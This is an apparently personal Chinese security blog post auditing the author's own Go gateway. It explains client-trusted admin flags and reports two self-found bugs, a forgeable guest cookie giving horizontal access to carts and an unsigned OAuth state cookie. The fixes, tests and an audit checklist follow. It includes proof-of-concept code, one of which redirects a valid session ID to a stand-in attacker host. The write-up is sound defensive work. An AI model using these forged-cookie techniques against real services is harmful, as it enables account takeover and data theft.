希曼日记

把 admin=false 改成 true:拿自己的网关代码做一次攻防复盘

约 13 分钟4,880 字

安全入门材料里有一个反复出现的场景:普通用户登录后看不到管理员后台,系统在会话里放一个 admin=false,攻击者截取请求把它改成 admin=true,服务器没做二次验证,后台就暴露了。

这个例子讲清了一件事,但也留下三个容易误解的地方:攻击者凭什么能改?这一步发生在什么阶段?真有人会这么写代码吗?

我拿自己的网关代码做了一次对照审计。结论有两半:这套网关在「垂直提权」这条线上是干净的,四道防线逐条成立;但顺着同一个思路往下挖,找到了两处可复现的真实漏洞——一处横向越权,一处会话 ID 外泄。后半部分才是这篇文章真正想记录的东西,两处都已修复并补了回归测试。

「攻击者截取请求」到底发生在哪

先纠正最常见的误解。这里的攻击者通常不是在网络中间偷看别人通信的第三方,而就是一个已经登录的普通用户。

浏览器运行在他自己的机器上。他可以打开开发者工具查看请求,可以在本地改 cookie,可以用 curl 直接构造一条请求发出去。所谓「截取」,多数时候只是「查看并修改自己将要发出的内容」。

这也是为什么 HTTPS 在这里帮不上忙。HTTPS 保护的是传输途中不被第三方读改,它从不限制通信的一方决定自己发什么。就像信封能防别人拆信,但防不住写信人自己写什么。

至于「什么阶段」:是登录成功之后、访问受保护接口的时候。攻击者手里已经有一个合法身份,他要做的是把这个身份声明成更高的权限。

真正的分界线:凭据放在哪一端

原始场景说「在会话里加一个 admin=false」,这句话本身是含糊的,而含糊之处恰好就是漏洞成立与否的分界。

如果 admin 真的存在服务端的会话记录里,那么浏览器手上只有一枚随机的 session id:

Text
浏览器保存: session_id = 一串不可预测的随机值
服务端保存: 该 session_id 对应 { user_id: 123, admin: false }

用户即使在自己的 cookie 里多塞一个 admin=true,服务端也应当无视——判定依据来自服务端自己的记录,不是来自请求里的声明。

漏洞成立的版本是另一种:admin 这个值本身就由客户端携带并被直接采信,无论它放在 cookie、URL 参数、请求体还是自定义请求头里。

所以这类问题的判据只有一条:这个决定权限的值,服务端是自己查出来的,还是听客户端说的。

至于「真有人这么写吗」——直白写成 if cookie["admin"] == "true" 的确实少,但等价物很常见:把客户端提交的用户对象整体写进数据库,连带更新了 role 字段;解析了 JWT 却没验签名;大部分接口有权限检查,唯独新加的那个漏了。形态不同,结构一样。

用真实代码验证:四道防线

被审计的是一套 Go 写的 Connect 网关:前面挡着浏览器和桌面端,后面接十个后端服务,登录托管给 Casdoor。这类网关正是上述漏洞的高发地——它要把身份告诉后端,一旦「告诉」的方式可被伪造,整条链就塌了。

防线一:入站身份头无条件剥离

网关用 x-md-global-* 系列请求头把身份传给后端,后端直接采信。这意味着如果客户端能自带这些头,就等于自己给自己发身份证。

代码在进入路由和鉴权之前就无条件删掉它们:

Go
// 无条件剥离入站身份头(匿名与非匿名都要剥)。
identity.Strip(r.Header)

Strip 按 x-md- 前缀大小写不敏感地删除,覆盖整个命名空间,而不是逐个列举头名——新增一个身份头不会漏掉。

注入则放在反向代理的 Rewrite 阶段。这个位置是刻意选的:它晚于标准库删除 hop-by-hop 头的时机,因此客户端无法用 Connection: x-md-global-role 这种写法诱导标准库替他把刚注入的可信头删掉。

匿名访客的注入还额外清了三个字段:

Go
func InjectGuest(h http.Header, guestID string) {
h.Set(HeaderUserID, guestID)
h.Set(HeaderAnonymous, "true")
h.Del(HeaderName)
h.Del(HeaderRole)
h.Del(HeaderOwner)
}

理由写在注释里:残留的 role 会让下游把访客当成有角色的用户,而 RBAC 正是按角色判的。

仓库里有一条针对伪造 X-Md-Global-Role: admin 的测试用例,说明这条边界是被当作契约维护的,不是碰巧写对。

防线二:浏览器只拿到一枚不透明 ID

会话轨的设计正是前面说的「正确版本」:access token、refresh token 和角色全部留在服务端,浏览器只持有一枚 httpOnly cookie。

Go
// NewID 生成 32 字节随机 session id。
func NewID() (string, error) {
b := make([]byte, 32)
if _, err := rand.Read(b); err != nil {
return "", err
}
return base64.RawURLEncoding.EncodeToString(b), nil
}

32 字节 CSPRNG,不可猜。角色在登录时取一次存进会话,热路径不回源。撤权的手段是直接删会话,即时生效——注释里特意写明「故意不做会话查询的本地缓存」,因为任何缓存都会把「即时」打回「缓存 TTL 级」。

cookie 轨还额外校验 Origin,理由也写得很清楚:cookie 是浏览器自动附带的环境凭据,所以状态变更请求必须防 CSRF;header 和 bearer 轨不是环境凭据,不需要这道校验。

防线三:验签锁死算法与信任域

遗留的 bearer JWT 轨走本地验签:

Go
_, err := jwt.ParseWithClaims(tokenString, claims,
func(t *jwt.Token) (any, error) { return key, nil },
jwt.WithValidMethods([]string{jwt.SigningMethodRS256.Alg()}),
jwt.WithLeeway(Leeway),
jwt.WithExpirationRequired(),
jwt.WithTimeFunc(func() time.Time { return now }),
)

WithValidMethods 锁定 RS256,这一行挡掉了 alg: none 和 HS256 混淆两类经典攻击。验签之后还逐项检查 issuer、audience 白名单、tokenType 必须是 access-token、sub 非空、账户未删除未封禁,最后查撤销名单。

tokenType 那一项有单独注释:Casdoor 的 refresh token 与 access token 用同一把钥签发,不显式校验类型的话,长效 refresh token 就能冒充 access token。这是很容易漏的一处。

防线四:下游不因为「网关说了」就放行

前三道都在网关内部。真正决定这套系统扛不扛得住的是第四道:配置中心服务面对管理操作时,并不采信网关注入的角色头,而是自己重新验一遍 Casdoor 的 JWT,并且只认签名里的 isAdmin:

Go
func isAdmin(claims map[string]any) bool {
// Casdoor's signed isAdmin claim is the authority. Unscoped role names can
// collide across organizations and applications, so they are not accepted.
return boolClaim(claims, "isAdmin")
}

这正是原始场景缺的那一环,而且比「二次验证」更准确:不是把同一个值多查一遍,而是换一个不可伪造的来源重新判定。未加组织限定的角色名会跨组织和应用撞车,所以被明确拒绝。

顺带一提,网关向后端转发时会删掉 Authorization 头,凭据不进内网。

那么,这套网关是干净的吗

在「普通用户把自己声明成管理员」这条线上,是干净的。整套网关测试全绿:

Text
ok .../internal/authn 4.296s
ok .../internal/authz 2.530s
ok .../internal/httpmw 2.297s
ok .../internal/identity 0.445s
ok .../internal/session 5.026s

但审计不该停在「没找到预设的那个漏洞」。真正值得花时间的,是那些设计者认为不需要防护、并且把理由写下来了的地方——写下的理由,就是可以被检验的假设。

这套系统支持匿名购物:未登录用户也能用购物车。网关给访客签发一个 UUID 放进 cookie,并像对待登录用户一样,把它注入 x-md-global-user-id 传给购物车服务。

签发端没问题,用的是 UUID v4,122 位随机。但读取端是这样:

Go
func (c CookieConfig) FromRequest(r *http.Request) string {
ck, err := r.Cookie(c.Name)
if err != nil || ck.Value == "" {
return ""
}
return ck.Value
}

拿到什么就用什么。不校验格式,不校验是否由本网关签发。

复现

我在 httpmw 包里临时加了一个测试,把访客 cookie 直接改成另一个 UUID,看网关采纳什么、下游收到什么:

Go
const victimUserID = "3f2504e0-4f89-11d3-9a0c-0305e82c3301"
req := httptest.NewRequest(http.MethodPost, "/cart.v1.CartService/GetCart", nil)
req.AddCookie(&http.Cookie{Name: "__Secure-ct_guest", Value: victimUserID})

输出:

Text
网关采纳的访客身份 = "3f2504e0-4f89-11d3-9a0c-0305e82c3301"
下游收到 x-md-global-user-id = "3f2504e0-4f89-11d3-9a0c-0305e82c3301"
下游收到 x-md-global-anonymous = "true"
非 UUID 值 -> 状态码 200,采纳身份 = "not-a-uuid-at-all"

连 not-a-uuid-at-all 这种明显不合法的值都会被原样接受并注入。验证完我删掉了这个临时文件。

攻击链

关键在于访客 ID 和真实用户 ID 共用同一个取值空间:都是 UUID,都写进 cart_item.user_id 这一列。购物车服务这样取身份:

Go
userIdStr := c.Header().Get(constants.UserIdMetadataKey)
customerId, err := uuid.Parse(userIdStr)

而共享的身份工具包明确定义,购物车属于访客与登录用户平权的 B 级接口,用 RequireAny 取身份,不区分二者。这在业务上是对的——访客本来就该能用购物车。

于是链条闭合:

Text
① 攻击者把 __Secure-ct_guest 改成受害者的用户 UUID
② 网关原样采纳,注入 x-md-global-user-id = 受害者 UUID
③ 购物车服务 uuid.Parse 后当作 customerId
④ 攻击者读到、并可修改受害者的购物车

前提是攻击者需要知道受害者的用户 UUID。这不是随手可得的,它不在购物车接口的返回里;但它也不是密钥,在地址簿、支付等接口的数据结构中都作为普通字段存在,一次日志外泄、一个越权的详情接口或一处前端调试输出都可能让它流出。

我的判断是中等严重度、有前提条件:不是可以批量利用的洞,但结构上确实成立,而且完全没有测试覆盖——auth_test.go 里没有任何一条访客轨的用例。

为什么会漏

漏洞不在于粗心。包注释里写着当初的权衡:

身份模型刻意与 BFF 会话同构:128 位以上随机不透明 ID,不做 HMAC 签名。理由是签名在这里买不到额外安全性——访客 ID 唯一能解锁的资源是它自己的购物车。

这个推理有一个隐含前提:访客 ID 只能指向访客自己的购物车。而它不成立,因为选用 UUID 形态的原因是另一个:

下游 cart 服务把 x-md-global-user-id 直接 uuid.Parse 后写进 cart_item.user_id(UUID NOT NULL 列)。用 UUID 形态意味着数据库零改动。

两个都合理的局部决定——「不签名,因为只能开自己的车」和「用 UUID,因为数据库不用改」——合起来让访客 ID 有能力指向任何人的购物车。这类漏洞往往就长这样:不是某一行写错了,而是两个正确决定的交叉处没人负责。

它和文章开头那个 admin=true 是同一个结构,只是方向不同:那个是纵向(普通用户声明自己是管理员),这个是横向(一个访客声明自己是另一个用户)。共同点仍是那一条——决定身份的值由客户端提供,服务端没有独立确认过。

三种修法,以及最后选的那条

其一,只校验 UUID 格式。 挡掉脏数据和下游解析异常,但挡不住本文的攻击——受害者的用户 ID 本身就是合法 UUID。只能算顺手做的健壮性改进。

其二,给访客 cookie 加签。 网关用 HMAC 签发并校验,只接受自己签过的值。代价是引入密钥管理与轮换面——正是当初决定不签名时想避开的。

其三,让访客 ID 不可能指向真实用户。 从根上消除取值空间重叠:给购物车表加一列身份类型,或让访客 ID 落在与 Casdoor 用户 ID 不相交的命名空间。最彻底,代价是数据库要改——恰好是当初选 UUID 形态时想省掉的那笔开销。

我落地的是其二加其一,其三留作后续:其三消除的是「能力」,前两条限制的是「路径」,能力没了才最省心,但它要动数据库和下游服务,不适合作为止血手段。

cookie 现在的形态是 <uuid>.<HMAC-SHA256>,读取端逐项验证:

Go
func (c CookieConfig) FromRequest(r *http.Request) string {
if len(c.Key) == 0 {
return "" // 未配置密钥:无法验证,一律不认
}
// ...
id := ck.Value[:dot]
if _, perr := uuid.Parse(id); perr != nil {
return ""
}
// 恒时比较,避免签名被逐字节试探
if !hmac.Equal([]byte(ck.Value), []byte(c.sign(id))) {
return ""
}
return id
}

三个刻意的选择:

  • 返回裸 id,签名不出网关——下游拿到的 x-md-global-user-id 仍要能直接 uuid.Parse,契约不变,十个后端服务零改动。
  • 密钥为空时一律拒绝(fail closed)。装配层同步改成:拿不到密钥就不启用访客轨,而不是「没密钥就不验」。后者会让一次配置遗漏静默地把洞打开。
  • 不认无签名的历史 cookie。代价是上线时存量匿名购物车清空一次;接受它,因为任何「兼容旧格式」的宽限期都等于把洞继续开着。

密钥取自 GUEST_COOKIE_SECRET,缺省时从已有的 CASDOOR_CLIENT_SECRET 派生并做域分隔,这样不新增必填部署配置:

Go
mac := hmac.New(sha256.New, []byte(s))
mac.Write([]byte("control-tower/guest-cookie/v1"))
return mac.Sum(nil)

回归测试补在两层:guest 包验证签名本身(伪造成他人用户 ID、无签名的历史 cookie、篡改签名、拿别人的签名配自己的 id、换一把密钥),httpmw 包验证整条流水线——这里原本一条访客轨用例都没有。

第二处:多步骤流程里,第 2 步替第 1 步背书

前面那处是「身份由客户端声明」。顺着同一条线往下问:还有什么东西是客户端说了算、而服务端默认相信的?

答案是流程状态。

教科书上的形态是这样:删除数据分两步,第 1 步确认,第 2 步执行。开发者把登录判断和管理员判断都放在第 1 步,第 2 步什么都不查——因为「必须先过第 1 步才能到第 2 步」。攻击者直接发第 2 步,数据就没了。

先修正一个措辞

说开发者「天真」并不准确。在界面上,第 2 步确实无法不经过第 1 步到达:不点删除就不会弹确认框。开发者看到的是真实的。

问题在于这个顺序只存在于前端。HTTP 是无状态的,服务端收到的永远是一条孤立的请求,它不知道、也无法自行推断这条请求之前发生过什么。所谓「步骤」是界面的叙事,不是协议的保证。攻击者不需要「绕过」第 1 步——第 2 步从来就是可以独立发出的。

而且「第 2 步也做鉴权」还不够

这是最容易停在一半的地方。二次授权和步骤绑定防的是两件事:

措施防住什么挡不住什么
第 2 步独立鉴权未登录或非管理员直接调删除接口第 1 步确认 A,第 2 步提交 B
步骤绑定提交的对象与确认过的对象不一致单独用时不解决身份问题

只补前者,就会剩下这种漏洞:管理员在第 1 步预览「删除 3 条测试数据」,第 2 步把参数改成全量条件。身份合法、鉴权通过、数据照样没了。

正确形状是两者叠加:第 1 步把结果存到服务端并签发一枚一次性令牌,第 2 步只认这枚令牌,并且不从请求里读取要操作什么,而是从令牌对应的服务端记录里读。请求里能改的参数越少,能被篡改的语义就越少。

这套网关里的那条多步骤流程

control-tower 自己的 API 里没有 confirm/execute 配对,破坏性接口(DeleteKey、Rollback、RevokeMachineToken)也都被一个包住全部路径的鉴权中间件覆盖——只放行 OPTIONS 和 /healthz,是默认拒绝的形状。

但登录本身就是一条两步流程:/auth/login → /auth/callback。

第 1 步做了两项校验:

Go
if native {
if !isLoopback(redirect) { ... 400 } // 原生端:回调必须是回环地址
} else if !h.redirectAllowed(redirect) { // 浏览器端:防开放重定向
redirect = h.defaultRedirect()
}

然后把 {state, redirect, native} 序列化、base64、塞进 cookie。第 2 步从 cookie 读回来直接用。全仓调用点确认:

Text
handler.go:128 isLoopback ← 只在 login
handler.go:132 redirectAllowed ← 只在 login

而那个 cookie 是未签名的,客户端可以整个伪造。我写了 PoC,完全不调用 /auth/login:

Go
forged := statePayload{
State: "attacker-chosen-state",
Redirect: "https://evil.example/steal", // login 会拦,callback 不会
Native: true, // 打开「把会话 ID 放进 URL」的分支
}

输出:

Text
状态码 = 302
Location = https://evil.example/steal?code=c94C9MlASgzm8s1NRhjP8dE1aM3UOG7ryGxb-vcaWmY&state=attacker-chosen-state
该值是一枚有效会话 ID,属于用户 sub=u-alice owner=lens

state 比对形同虚设——攻击者同时控制 cookie 里的值和 URL 里的值,两边自然相等。

危害不止开放重定向。 Native: true 会走「把会话 ID 拼进回调 URL」的分支,而那个分支的回环限制同样只在第 1 步。于是一枚有效会话 ID 被交到攻击者域名上,等同账号接管。

前提是攻击者需要在受害者浏览器里种下这枚 cookie。它的 Domain 是 .apikv.com,任何一个 *.apikv.com 子域的控制权或 XSS 都够用——而 shop 与 gateway 正是两个子域,这也是当初为共享 cookie 而放弃 __Host- 前缀的连带后果。

现有测试 TestLoginRejectsOpenRedirect、TestNativeRejectsNonLoopbackRedirect 都只测第 1 步。

修法:让载荷不出服务端

止血很便宜——在 callback 里把两项校验再做一遍。但这只是补上第 2 步的鉴权,没解决「载荷由客户端携带」这个根因。

根治的办法其实早就在这份代码里了:原生流程已经在用 PutState/TakeState 把 state 存服务端并单次消费,只是当初为省一次存储往返(注释原话「不落服务端状态」),浏览器流程没跟上。现在两条轨统一:

Go
// login:载荷一律存服务端
if err := h.Store.PutState(r.Context(), state, payload, stateTTL); err != nil { ... }
// cookie 只放不可猜的 state 本身,作用是把回调绑定到发起登录的那个浏览器
http.SetCookie(w, &http.Cookie{Name: stateCookieName, Value: state, ...})
Go
// callback:载荷只从服务端取,取出即删
raw, serr := h.Store.TakeState(r.Context(), queryState)

外加三条:浏览器轨必须带 state cookie 且与 query 一致(原生轨豁免,Tauri 登录子窗口是独立 WebView 拿不到 cookie,其绑定靠回环);state 单次使用,重放失败;重定向目标在第 2 步复验一遍——不因为第 1 步查过就免检。

复验这几行看着冗余,其实是这一节的全部要点:

Go
// 复验重定向目标:**不因为 login 校验过就免检**。
// login 与 callback 是两条独立可达的请求,前者做过的校验对后者没有任何约束力;
// 「必须先走第 1 步」只是界面上的顺序,不是服务端的保证。

原样重放最初的 PoC,现在是:

Text
状态码 = 400
Location = ""
响应体 = missing oauth state

没有跳转,没有建会话。两处漏洞的回归测试都已入库,网关全量测试通过。

两处漏洞是同一件事

写完才发现这三处——教科书里的 admin=true、访客 cookie、OAuth 回调——是同一个句式的三种变形:

客户端说了算的东西服务端该怎么办
admin=true我的权限从服务端会话查
访客 cookie我的身份验证是自己签发的
state 载荷我走到了第几步、要跳去哪状态存服务端,每步复验

区别只是「客户端声明的那个东西」是什么。所以自查时真正该问的不是「有没有做鉴权」,而是:这条请求里,有哪些值是客户端能改的,而服务端把它当成了事实?

一份自查清单

审计同类系统时,我会照这几条看:

  • 决定权限的那个值,服务端是查出来的还是听客户端说的
  • 客户端能提供的身份类请求头,是否在鉴权之前按前缀整体剥离
  • 身份注入的位置,是否晚于框架删除 hop-by-hop 头的时机
  • JWT 验签是否锁定了算法白名单,是否校验 issuer、audience 和 token 类型
  • 后端服务被绕过网关直连时,是否还能自证身份
  • 访客、试用、分享链接这类「低权限但有身份」的凭据,取值空间是否与正式用户重叠
  • 多步骤流程的每一步,是否都能被单独发出;如果能,第 2 步是否独立鉴权,并且不从请求里读「要操作什么」
  • 任何由客户端携带、跨请求传递的状态(state、step、token、draft id),是否签名或干脆不出服务端
  • 每一处写着「这里不需要防护,因为……」的注释,那个「因为」今天是否还成立

最后一条最值得花时间。这次两处问题都是从那里找到的:注释没有骗人,它只是比代码老——第一处的「访客 ID 只能开自己的车」,第二处的「不落服务端状态,省一次往返」,写下时都成立,是后来的改动让前提失效的。

后端裸信身份头这个前提本身也值得单独收紧,我在《网络策略就是鉴权:用 Cilium CNP 守住「只有网关能连后端」这条线》里记过那一半。